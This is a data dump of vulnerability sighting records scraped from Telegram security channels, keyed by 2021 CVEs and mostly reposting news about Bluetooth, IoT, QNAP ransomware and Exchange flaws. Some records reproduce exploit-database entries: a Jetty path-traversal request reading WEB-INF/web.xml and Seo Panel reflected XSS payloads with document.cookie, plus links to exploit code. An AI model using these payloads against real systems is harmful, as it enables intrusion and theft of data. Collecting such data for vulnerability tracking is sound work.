"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "seen", "source": "https://t.me/vulns/382", "content": "Microsoft Exchange Server RCE, CVE-2021-28482:\n\nhttps://gist.github.com/testanull/9ebbd6830f7a501e35e67f2fcaa57bda", "creation_timestamp": "2026-09-01T20:02:51.021156Z"}, {"uuid": "b241817b-9177-44f1-b4b8-a0e490e6c05f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28139", "type": "seen", "source": "https://t.me/hacking_Attack/22453", "content": "Black Hat Ethical Hacking\nBluetooth Bugs Open Billions of Devices to DoS, Code Execution\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Bluetooth Bugs Open Billions of Devices to DoS, Code ExecutionPost Views: 70 \nReading Time: 2 Minutes\nResearchers have disclosed a group of 16 different vulnerabilities collectively dubbed BrakTooth, which impact billions of devices that rely on Bluetooth Classic (BT) for communication.\nAccording to an academic paper from the University of Singapore, the bugs are found in the closed commercial BT stack used by at least 1,400 embedded chip components, that can lead to a host of attack types \u2013 mainly denial of service (DoS) via firmware crashes (the term \u201cbrak\u201d is actually Norwegian for \u201ccrash\u201d). One of the bugs can also lead to arbitrary code execution (ACE).\n\nThe team analyzed 13 pieces of BT hardware from 11 vendors; so far, there have been 20 CVEs assigned across them; with four vulnerabilities pending CVE assignments from Intel and Qualcomm. Some of the bugs are patched, others are in the process of being patched; but, researchers said in the paper, \u201cit is highly probable that many other products (beyond the \u22481400 entries observed in Bluetooth listing) are affected by BrakTooth,\u201d including BT system-on-chips (SoCs), BT modules or additional BT end products.\nSee Also: Complete Offensive Security and Ethical Hacking Course Potentially, billions of devices could be affected worldwide, researchers said.\n\nHere\u2019s a table of the 16 bugs:\nhttps://media.threatpost.com/wp-content/uploads/sites/103/2021/09/02135933/BrakTooth.png \nSummary of new vulnerabilities and other anomalies found (Vx:\u00a0Vulnerability,\u00a0Ax:\u00a0Non-compliance).\nAnd here\u2019s a list of known affected vendors:\nhttps://media.threatpost.com/wp-content/uploads/sites/103/2021/09/02140009/BrakTook-Vendors.png \nNumber of product listings with respect to BT SoC.\nThe researchers uncovered three main attack scenarios for the bugs, the most severe of which results in ACE on internet-of-things (IoT) devices.\nSee Also: Critical Valve Bug Lets Gamers Add Unlimited Funds to Steam Wallets Arbitrary Code Execution for Smart Home DevicesThe most critical vulnerability (CVE-2021-28139) affects ESP32 SoCs, a series of low-cost, low-power SoC microcontrollers with integrated Wi-Fi and dual-mode Bluetooth, from the vendor Espressif. These are commonly found in IoT appliances used in industry automation, smart-home device, personal fitness gadgets and more.\n\n\u201cA lack of out-of-bounds check in ESP32 BT Library allows the reception of a mutated LMP_feature_response_ext,\u201d according to the paper. \u201cThis results in the injection of eight bytes of arbitrary data outside the bounds of Extended Feature Page Table.\u201d\n\nTo exploit it, an attacker who knows the firmware layout of a target device can write a known function address (JMP Addr.) to the offset pointed by Features Page field.\n\nResearchers successfully forced ESP32 into erasing data housed in devices\u2019 non-volatile random-access memory (NVRAM), which retains data without applied power. They were also able to disable both BT and Wi-Fi on the device; and most concerningly, control the general-purpose input/output (GPIO) of the device if the attacker knows addresses to attached functions-controlling actuators. GPIO is used to communicate the ON/OFF signals received from connected switches, or the digital readings received from connected sensors, to the CPU.\n\n\u201cThis has serious implications if such an attack is applied to Bluetooth-enabled smart home products,\u201d the researchers warned.\nSee Also: Offensive Security Tool: Starkiller DoSing Laptops & SmartphonesThe second attack scenar[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:57.743798Z"}, {"uuid": "44fa7251-4ca5-413d-b319-c65c5012d75f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28133", "type": "seen", "source": "https://t.me/hacking_Attack/1685", "content": "hacking: security in practice\nZoom Unintended Screen Sharing Vulnerability POC (CVE-2021-28133)\n\nhttps://b.thumbs.redditmedia.com/mKiWB9x9Ha0hek1Dz4G_wHoia65XvdXJplCM7NBrdAw.jpg submitted by /u/Vulmon \n[link] [comments]", "creation_timestamp": "2026-09-02T01:03:26.136054Z"}, {"uuid": "dc204844-c192-4e1e-92e8-31ae2d33138f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28664", "type": "seen", "source": "https://t.me/hacking_Attack/63752", "content": "hacking: security in practice\nAnyone know where I can find a PoC for CVE-2021-28664\n\nI have a Hisense U8G with Android 10 kernel version 4.19.75 with a 32 bit userland. Already unlocked the bootloader, but the firmware package is encrypted with a key that I can only get after rooting.\n\nI need some other way to dump my boot.img and the kernel is too old for DirtyPipe and too new for mtk-su. The exploit in the title should work for me, but I can't find any PoC to run.\n\nI just need temp root basically\n\nsubmitted by /u/WeedyPests \n[link] [comments]", "creation_timestamp": "2026-09-02T01:01:43.293808Z"}, {"uuid": "57815337-39fd-4a6b-8408-3f9d7c887471", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28799", "type": "seen", "source": "https://t.me/hacking_Attack/38939", "content": "Black Hat Ethical Hacking\nQlocker ransomware returns \u2013 targets QNAP NAS devices worldwide\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Qlocker ransomware returns \u2013 targets QNAP NAS devices worldwidePost Views: 104 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nThreat actors behind the Qlocker ransomware are once again targeting Internet-exposed QNAP Network Attached Storage (NAS) devices worldwide. \nQlocker has previously targeted QNAP customers in a massive ransomware campaign\u00a0that started during the week of April 19, moving victims\u2019 files within password-protected 7-zip archives with the .7z extension after breaching their NAS devices.\n\nQNAP warned that the attackers were exploiting the CVE-2021-28799 hard-coded credentials vulnerability\u00a0in the HBS 3 Hybrid Backup Sync app to hack into users\u2019 devices and lock their files.\n\nHowever, for some QNAP customers targeted in last year\u2019s Qlocker ransomware campaign, the warning came way too late after the attackers extorted hundreds of QNAP users.\n\nIn total, affected QNAP users lost roughly $350,000 within a single month after paying ransoms of 0.01 bitcoins (worth approximately $500 at the time) to get the password needed to recover their data.\nSee Also: Complete Offensive Security and Ethical Hacking Course Qlocker returns in new 2022 campaignThe new Qlocker ransomware campaign began on January 6 and it drops ransom notes named !!!READ_ME.txt on compromised devices.\nhttps://www.bleepstatic.com/images/news/u/1109292/2022/Qlocker%20ransom%20note.png \n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:21.949602Z"}, {"uuid": "b7553894-5c87-4cf1-9bb4-b4d685bcf738", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28155", "type": "seen", "source": "https://t.me/hacking_Attack/22454", "content": "io can lead to DoS in laptops and smartphones. Researchers were able to achieve this using gear containing Intel AX200 SoCs and Qualcomm WCN3990 SoCs.\n\nOne of the DoS bugs (CVE-2021-34147) exists because of a failure in the SoC to free resources upon receiving an invalid LMP_timing_accuracy_response from a connected BT device (i.e., a \u201cslave,\u201d according to the paper:\n\n\u201cThe attacker can exhaust the SoC by (a) paging, (b) sending the malformed packet, and (c) disconnecting without sending LMP_detach,\u201d researchers wrote. \u201cThese steps are repeated with a different BT address (i.e., BDAddress) until the SoC is exhausted from accepting new connections. On exhaustion, the SoC fails to recover itself and disrupts current active connections, triggering firmware crashes sporadically.\u201d\n\nThe researchers were able to forcibly disconnect slave BT devices from Windows and Linux laptops, and cause BT headset disruptions on Pocophone F1 and Oppo Reno 5G smartphones.\n\nAnother DoS bug (CVE pending) affects only devices using the Intel AX200 SoC.\n\nIt\u2019s triggered when an oversized LMP_timing_accuracy_request (i.e., bigger than 17 bytes) is sent to an AX200 slave.\n\n\u201cThis temporarily corrupts AX200 firmware, which responds incorrectly during a subsequent BT connection and eventually disables the paging scan procedure,\u201d researchers explained. \u201cThus, scanning AX200 works, but no connection is established from an external BT device.\u201d\n\nAside from disconnecting master BT devices connected to a vulnerable laptop and leading to sporadic BT firmware crashes, this state of affairs can also be used for man-in-the-middle (MiTM) attacks. Bad actors can easily trick a user into connecting to the attacker\u2019s BT hardware instead of the legitimate device, researchers noted \u2013 with persistence.\n\n\u201cIndeed, the user needs to manually re-enable BT to restore functionality,\u201d they said, adding, \u201cDue to the number of smartphones and laptops vulnerable to such attacks, and the common use of BT connectivity during video-conference calls and music streaming, updating the affected devices is essential.\u201d See Also: Hacking Stories: Andrian Lamo \u2013 The \u2018homeless\u2019 HackerBT Audio Product FreezesA third attack scenario was discovered while probing various BT speakers (specifically the Mi Portable Bluetooth Speaker \u2013 MDZ-36-DB, BT Headphone and BT Audio Modules) and an unbranded BT audio receiver.\n\nThey all are variously subject to a series of bugs (CVE-2021-31609 andCVE-2021-31612, failures when sending oversized LMP packets; CVE-2021-31613, truncated packets; CVE-2021-31611, starting procedures out-of-order; and CVE-2021-28135, CVE-2021-28155 and CVE-2021-31717, feature response flooding).\n\nSuccessful exploits can \u201cfreeze\u201d devices, requiring the user to manually turn on unresponsive devices afterwards. For the Xiaomi MDZ-36-DBs and JBL TUNE 500BTs, this can be done while the user is actively playing music, researchers noted.\n\n\u201cAlthough issues were found in SoCs targeted to audio products, the BT implementation can be reused in a number of SoCs destined to different BT products,\u201d they added.\n\nThese are just a few of the possible exploit scenarios; a full vulnerability listing with descriptions can be found here.\n\nThe researchers have released\u00a0a BrakTooth\u00a0proof-of-concept (PoC) tool for vendors producing BT SoCs, modules and products \u2013 available for them to use to check their gear\u2019s vulnerability.\n\nBlueTooth vulnerabilities are particularly concerning given the vast footprint that they can impact, and unfortunately, they\u2019re not that uncommon. For more, please see Threatpost\u2019s recent previous BlueTooth bug coverage:\n\n* Bluetooth Bug Opens Devices to Man-in-the-Middle Attacks\n* Bluetooth Bug Allows Man-in-the-Middle Attacks on Phones\n* Bluetooth Spoofing Bug Affects Billions of IoT Devices\nSource: threatpost.com (Click Link)Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/wordpress_[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:57.207453Z"}, {"uuid": "293890ae-277e-45d4-9b99-f09b4cc14852", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28135", "type": "seen", "source": "https://t.me/hacking_Attack/22454", "content": "io can lead to DoS in laptops and smartphones. Researchers were able to achieve this using gear containing Intel AX200 SoCs and Qualcomm WCN3990 SoCs.\n\nOne of the DoS bugs (CVE-2021-34147) exists because of a failure in the SoC to free resources upon receiving an invalid LMP_timing_accuracy_response from a connected BT device (i.e., a \u201cslave,\u201d according to the paper:\n\n\u201cThe attacker can exhaust the SoC by (a) paging, (b) sending the malformed packet, and (c) disconnecting without sending LMP_detach,\u201d researchers wrote. \u201cThese steps are repeated with a different BT address (i.e., BDAddress) until the SoC is exhausted from accepting new connections. On exhaustion, the SoC fails to recover itself and disrupts current active connections, triggering firmware crashes sporadically.\u201d\n\nThe researchers were able to forcibly disconnect slave BT devices from Windows and Linux laptops, and cause BT headset disruptions on Pocophone F1 and Oppo Reno 5G smartphones.\n\nAnother DoS bug (CVE pending) affects only devices using the Intel AX200 SoC.\n\nIt\u2019s triggered when an oversized LMP_timing_accuracy_request (i.e., bigger than 17 bytes) is sent to an AX200 slave.\n\n\u201cThis temporarily corrupts AX200 firmware, which responds incorrectly during a subsequent BT connection and eventually disables the paging scan procedure,\u201d researchers explained. \u201cThus, scanning AX200 works, but no connection is established from an external BT device.\u201d\n\nAside from disconnecting master BT devices connected to a vulnerable laptop and leading to sporadic BT firmware crashes, this state of affairs can also be used for man-in-the-middle (MiTM) attacks. Bad actors can easily trick a user into connecting to the attacker\u2019s BT hardware instead of the legitimate device, researchers noted \u2013 with persistence.\n\n\u201cIndeed, the user needs to manually re-enable BT to restore functionality,\u201d they said, adding, \u201cDue to the number of smartphones and laptops vulnerable to such attacks, and the common use of BT connectivity during video-conference calls and music streaming, updating the affected devices is essential.\u201d See Also: Hacking Stories: Andrian Lamo \u2013 The \u2018homeless\u2019 HackerBT Audio Product FreezesA third attack scenario was discovered while probing various BT speakers (specifically the Mi Portable Bluetooth Speaker \u2013 MDZ-36-DB, BT Headphone and BT Audio Modules) and an unbranded BT audio receiver.\n\nThey all are variously subject to a series of bugs (CVE-2021-31609 andCVE-2021-31612, failures when sending oversized LMP packets; CVE-2021-31613, truncated packets; CVE-2021-31611, starting procedures out-of-order; and CVE-2021-28135, CVE-2021-28155 and CVE-2021-31717, feature response flooding).\n\nSuccessful exploits can \u201cfreeze\u201d devices, requiring the user to manually turn on unresponsive devices afterwards. For the Xiaomi MDZ-36-DBs and JBL TUNE 500BTs, this can be done while the user is actively playing music, researchers noted.\n\n\u201cAlthough issues were found in SoCs targeted to audio products, the BT implementation can be reused in a number of SoCs destined to different BT products,\u201d they added.\n\nThese are just a few of the possible exploit scenarios; a full vulnerability listing with descriptions can be found here.\n\nThe researchers have released\u00a0a BrakTooth\u00a0proof-of-concept (PoC) tool for vendors producing BT SoCs, modules and products \u2013 available for them to use to check their gear\u2019s vulnerability.\n\nBlueTooth vulnerabilities are particularly concerning given the vast footprint that they can impact, and unfortunately, they\u2019re not that uncommon. For more, please see Threatpost\u2019s recent previous BlueTooth bug coverage:\n\n* Bluetooth Bug Opens Devices to Man-in-the-Middle Attacks\n* Bluetooth Bug Allows Man-in-the-Middle Attacks on Phones\n* Bluetooth Spoofing Bug Affects Billions of IoT Devices\nSource: threatpost.com (Click Link)Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/wordpress_[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:57.405448Z"}, {"uuid": "9d46caf7-fa0b-42c8-8ab5-d0a9bbbbbfa2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28164", "type": "seen", "source": "https://t.me/hacking_Attack/28643", "content": "Exploit Collector\nJetty 9.4.37.v20210219 Information Disclosure\n\nhttps://4.bp.blogspot.com/-hg5R_Iy9kqs/WWlu56TnyEI/AAAAAAAAIJM/rTW1_kDHOwg4grZYYDaMUD1TyZ2BewRDQCLcBGAs/s1600/h107.png \nJetty version 9.4.37.v20210219 suffers from an information disclosure vulnerability.\n\nMD5 | ff583cecb4b3cb1a0a4e1562056d0981\n\nDownload\n# Exploit Title: Jetty 9.4.37.v20210219 - Information Disclosure \n# Date: 2021-10-21\n# Exploit Author: Mayank Deshmukh\n# Vendor Homepage: https://www.eclipse.org/jetty/\n# Software Link: https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-distribution/9.4.37.v20210219/\n# Version: 9.4.37.v20210219 and 9.4.38.v20210224\n# Tested on: Kali Linux\n# CVE : CVE-2021-28164\n\nPOC #1 - web.xml\n\nGET /%2e/WEB-INF/web.xml HTTP/1.1\nHost: localhost:8080\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection: close\nUpgrade-Insecure-Requests: 1\nCache-Control: max-age=0\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:02:38.630891Z"}, {"uuid": "b7f1f3a6-167c-48c1-be88-f12e20fde2f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28372", "type": "seen", "source": "https://t.me/hacking_Attack/20612", "content": "Black Hat Ethical Hacking\nBug in Millions of Flawed IoT Devices Lets Attackers Eavesdrop\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Bug in Millions of Flawed IoT Devices Lets Attackers EavesdropPost Views: 84 \nReading Time: 3 Minutes\nA remote attacker could exploit a critical vulnerability to eavesdrop on live audio & video or take control. The bug is in ThroughTek\u2019s Kalay network, used in 83m devices.\nSecurity researchers have discovered a critical flaw that affects tens of millions of internet-of-things (IoT) devices \u2013 one that exposes live video and audio streams to eavesdropping threat actors and which could enable attackers to take over control of devices, including security webcams and connected baby monitors.\n\nThe flaw, tracked as CVE-2021-28372\u00a0and FEYE-2021-0020\u00a0and assigned a critical CVSS3.1 base score of 9.6, was found in devices connected via ThroughTek\u2019s Kalay IoT cloud platform.\n\nThe alarm was sounded on Tuesday by Mandiant, in coordination with the Cybersecurity and Infrastructure Security Agency (CISA) and ThroughTek. Mandiant\u2019s Red Team discovered the vulnerability in late 2020.\n\n\u201cCVE-2021-28372 poses a huge risk to an end user\u2019s security and privacy and should be mitigated appropriately,\u201d according to Mandiant\u2019s post. \u201cUnprotected devices, such as IoT cameras, can be compromised remotely with access to a UID and further attacks are possible depending on the functionality exposed by a device.\u201d\n\nThe world has already been inundated with tales of what can happen when these kind of devices are misconfigured or riddled with vulnerabilities, and this just adds to the growing pile of scary headlines. For example, in February, a vulnerability affecting multiple baby monitors was found to expose hundreds of thousands of live devices, potentially allowing someone to drop in and view a camera\u2019s video stream.\n\nAs Mandiant explained, the flaw would enable adversaries \u201cto remotely compromise victim IoT devices, resulting in the ability to listen to live audio, watch real time video data, and compromise device credentials for further attacks based on exposed device functionality. These further attacks could include actions that would allow an adversary to remotely control affected devices.\u201d\n\nIn a Tuesday post, researchers Jake Valletta, Erik Barzdukas and Dillon Franke \u2013 who discovered the bug \u2013 explained that it\u2019s impossible to compile a comprehensive list of companies and products affected, given how the Kalay protocol is integrated by manufacturers and resellers before devices reach consumers. Though they couldn\u2019t come up with a definitive list of affected companies and products that implement the Kalay platform, they strongly advised users of IoT devices \u201cto keep device software and applications up to date and use complex, unique passwords for any accounts associated with these devices.\u201d\nSee Also: Critical Valve Bug Lets Gamers Add Unlimited Funds to Steam Wallets Mandiant also recommends that device owners avoid connecting to affected devices from untrusted networks, such as public Wi-Fi: a recommendation that\u2019s already part of wireless best practices, as the National Security Agency (NSA) recently advised\u00a0in a public service announcement (PDF). Kalay: A Newly Unappealing HandshakeAccording to ThroughTek, \u201cKalay\u201d is an indigenous Dawu\u00a0word that means \u201chandshake,\u201d \u201csymbolizing the universal link in an interconnected world.\u201d\n\nThroughTek implements that handshake \u2013 the Kalay protocol \u2013 as a software development kit (SDK). The Kalay SDK provides a plug-and-play network to easily connect smart devices with corresponding mobile apps.\n\nThe researchers provided an illustration that g[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:01.514793Z"}, {"uuid": "0a4cb5ac-c6c0-4506-ad9d-6e908649ce79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28372", "type": "seen", "source": "https://t.me/hacking_Attack/20614", "content": "ntent/uploads/sites/103/2021/08/17113113/capturing-credentials-e1629214353657.png Attacker exploiting device personation vulnerability to capture credentials. Source: Mandiant.\nAfter that, a threat actor can remotely connect to the victimized device, access audio/visual data and execute remote procedure calls (RPC), Mandiant said. Due to vulnerabilities in the device-implemented RPC interface, this can then lead to \u201cfully remote and complete device compromise,\u201d researchers described. Their enumeration of what makes this possible: \u201cMandiant observed that the binaries on IoT devices processing Kalay data typically ran as the privileged user root and lacked common binary protections such as Address Space Layout Randomization (\u201cASLR\u201d), Platform Independent Execution (\u201cPIE\u201d), stack canaries, and NX bits.\u201d\n\nThe figure below shows a hypothetical attack using the captured Kalay credentials to stage yet another attack by abusing the vulnerabilities in the Kalay RPC interface: https://media.threatpost.com/wp-content/uploads/sites/103/2021/08/17114402/Screen-Shot-2021-08-17-at-11.43.08-AM-e1629215096109.png See Also: Hacking Stories: Andrian Lamo \u2013 The \u2018homeless\u2019 HackerMandiant isn\u2019t releasing public exploit code, but it did provide the video below, which demonstrates a proof of concept for CVE-2021-28372. How to Address the BugMandiant \u201cstrongly recommends\u201d that companies using the Kalay platform follow the following guidance from ThroughTek and Mandiant:\n\n* If the implemented SDK is below version 3.1.10, upgrade the library to version 3.3.1.0 or version 3.4.2.0 and enable the Authkey and Datagram Transport Layer Security (DTLS) features provided by the Kalay platform.\n* If the implemented SDK is version 3.1.10 and above, enable Authkey and DTLS.\n* Review security controls in place on APIs or other services that return Kalay unique identifiers (UIDs).\n* Hardening features such as ASLR, PIE, NX, and stack canaries should be enabled on all binaries processing Kalay data and RPC functions should be treated as untrusted and sanitized appropriately.\n* IoT device manufactures should apply stringent controls around web APIs used to obtain Kalay UIDs, usernames, and passwords to minimize an attacker\u2019s ability to harvest sensitive materials needed to access devices remotely. Failure to protect web APIs which return valid Kalay UIDs could allow an attacker to compromise a large number of devices.\n\nMandiant thanked ThroughTek and CISA for their cooperation and support with releasing the advisory and for their \u201ccommitment to securing IoT devices globally.\u201d\nSource: threatpost.com (Click Link)Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Steam-logo-90x90.jpg Critical Valve Bug Lets Gamers Add Unlimited Funds to Steam Wallets1 day ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/tmobile-header-90x90.webp Hacker claims to steal data of 100 million T-mobile customers2 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/depositphotos_40325161-stock-photo-microsoft-building-90x90.jpg Microsoft Warns: Another Unpatched PrintNightmare Zero-Day5 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/crypto-hack-90x90.jpg Crypto Hack Earned Crooks $600 Million6 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/msft-microsoft-logo-2-3-90x90.webp Actively Exploited Windows Zero-Day Gets a Patch1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/botnet-90x90.jpg Auth Bypass Bug Exploited, Affecting Millions of Routers1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/cisco-patch-90x90.png Critical Cisco Bug in VPN Routers Allows Remote Takeover1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/delete-telegram-message-e1628177080[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:01.550066Z"}, {"uuid": "397165e9-f5c8-4864-95e3-c1b0f1a804b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28663", "type": "seen", "source": "https://t.me/hacking_Attack/24602", "content": "hacking: security in practice\nCVE-2021-28663 - POC - Explanation\n\nHello,\n\nI have come across the poc for this exploit for Mali GPUs: https://github.com/lntrx/CVE-2021-28663 . I would like to run it on my android smartphone (Huawei P30 Pro), as it has a vulnerable Mali GPU. \n\n\u200b\n\nThe issue is that I am not very proficient at C and thus do not understand much of the exploit. The exploit fails very early on (https://github.com/lntrx/CVE-2021-28663/blob/main/mali_poc.c#L42). Could someone explain to me the workings of it, as the best I can do is add a bunch of print statements to see what is happening.\n\nsubmitted by /u/reujea0 \n[link] [comments]", "creation_timestamp": "2026-09-02T01:02:50.281913Z"}, {"uuid": "ad3b496c-6e19-4bba-a4e9-9d785beaab2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28417", "type": "seen", "source": "https://t.me/hacking_Attack/11112", "content": "Exploit Collector\nSeo Panel 4.8.0 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/--aVxNCIn1VA/WWlvnVN-uzI/AAAAAAAAIRQ/ADDhvty6Qn8T3Zf1bX42ni77vOOnTgOQwCLcBGAs/s1600/hack_img5.png \nSeo Panel version 4.8.0 suffers from multiple cross site scripting vulnerabilities.\n\nMD5 | 8ad5fb98ff68e1b4ac68594baa474a3b\n\nDownload\n# Exploit Title: Seo Panel 4.8.0 - 'search_name' Reflected XSS\n# Date: 21-03-2021\n# Exploit Author: Piyush Patil\n# Vendor Homepage: https://www.seopanel.org/\n# Software Link:  https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0\n# Version: Seo Panel 4.8.0\n# Tested on: Windows 10 and Kali\n# CVE : CVE-2021-28417\n-Description:\nA cross-site scripting (XSS) issue in the SEO admin login panel version 4.8.0 allows remote attackers to inject JavaScript via the \"redirect\" parameter.\n\n-Payload used:\nx%22%20onmouseover%3dalert(document.cookie)%20x%3d%22\n\n-Steps to reproduce:\n1- Login to SEO admin panel\n2- Add below line at the end:\nhttp://localhost/archive.php?from_time=2021-03-08&order_col=name&order_val=DESC&report_type=website-search-reports&search_name=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22&sec=viewWebsiteSearchSummary&to_time=2021-03-09&website_id=http%3a%2f%2fwww.example.com\n3- Hover your mouse near to \"CTR\" field\n-----------\n# Exploit Title: Seo Panel 4.8.0 - 'category' Reflected XSS\n# Date: 22-03-2021\n# Exploit Author: Piyush Patil\n# Vendor Homepage: https://www.seopanel.org/\n# Software Link:  https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0\n# Version: Seo Panel 4.8.0\n# Tested on: Windows 10 and Kali\n# CVE : CVE-2021-28418\n-Description:\nA cross-site scripting (XSS) issue in the SEO admin login panel version 4.8.0 allows remote attackers to inject JavaScript via the \"redirect\" parameter.\n\n-Payload used:\nx%22%20onmouseover%3dalert(document.cookie)%20x%3d%22\n\n-Steps to reproduce:\n1- Login to SEO admin panel\n2- Visit:\nhttp://localhost/settings.php?category=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22\n3- Hover your mouse to \"Cancel\" field\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:03:16.839732Z"}, {"uuid": "b4bec2d8-2c82-480d-858a-67b6eb2a81f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28418", "type": "seen", "source": "https://t.me/hacking_Attack/11112", "content": "Exploit Collector\nSeo Panel 4.8.0 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/--aVxNCIn1VA/WWlvnVN-uzI/AAAAAAAAIRQ/ADDhvty6Qn8T3Zf1bX42ni77vOOnTgOQwCLcBGAs/s1600/hack_img5.png \nSeo Panel version 4.8.0 suffers from multiple cross site scripting vulnerabilities.\n\nMD5 | 8ad5fb98ff68e1b4ac68594baa474a3b\n\nDownload\n# Exploit Title: Seo Panel 4.8.0 - 'search_name' Reflected XSS\n# Date: 21-03-2021\n# Exploit Author: Piyush Patil\n# Vendor Homepage: https://www.seopanel.org/\n# Software Link:  https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0\n# Version: Seo Panel 4.8.0\n# Tested on: Windows 10 and Kali\n# CVE : CVE-2021-28417\n-Description:\nA cross-site scripting (XSS) issue in the SEO admin login panel version 4.8.0 allows remote attackers to inject JavaScript via the \"redirect\" parameter.\n\n-Payload used:\nx%22%20onmouseover%3dalert(document.cookie)%20x%3d%22\n\n-Steps to reproduce:\n1- Login to SEO admin panel\n2- Add below line at the end:\nhttp://localhost/archive.php?from_time=2021-03-08&order_col=name&order_val=DESC&report_type=website-search-reports&search_name=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22&sec=viewWebsiteSearchSummary&to_time=2021-03-09&website_id=http%3a%2f%2fwww.example.com\n3- Hover your mouse near to \"CTR\" field\n-----------\n# Exploit Title: Seo Panel 4.8.0 - 'category' Reflected XSS\n# Date: 22-03-2021\n# Exploit Author: Piyush Patil\n# Vendor Homepage: https://www.seopanel.org/\n# Software Link:  https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0\n# Version: Seo Panel 4.8.0\n# Tested on: Windows 10 and Kali\n# CVE : CVE-2021-28418\n-Description:\nA cross-site scripting (XSS) issue in the SEO admin login panel version 4.8.0 allows remote attackers to inject JavaScript via the \"redirect\" parameter.\n\n-Payload used:\nx%22%20onmouseover%3dalert(document.cookie)%20x%3d%22\n\n-Steps to reproduce:\n1- Login to SEO admin panel\n2- Visit:\nhttp://localhost/settings.php?category=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22\n3- Hover your mouse to \"Cancel\" field\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:03:16.880501Z"}, {"uuid": "1efb0b9d-ac57-4685-84fb-07db5ccfcdad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28092", "type": "seen", "source": "https://t.me/hacking_Attack/17172", "content": "regexploit-py \"my-project/**/*.py\" --glob  \nJavascript / Typescript\n  This will use the bundled NodeJS package in regexploit/bin/javascript which parses your JavaScript as an AST with eslint (https://github.com/typescript-eslint/typescript-eslint/tree/master/packages/parser) and prints out all regexes.  Those regexes are fed into the python ReDoS finder.  regexploit-js 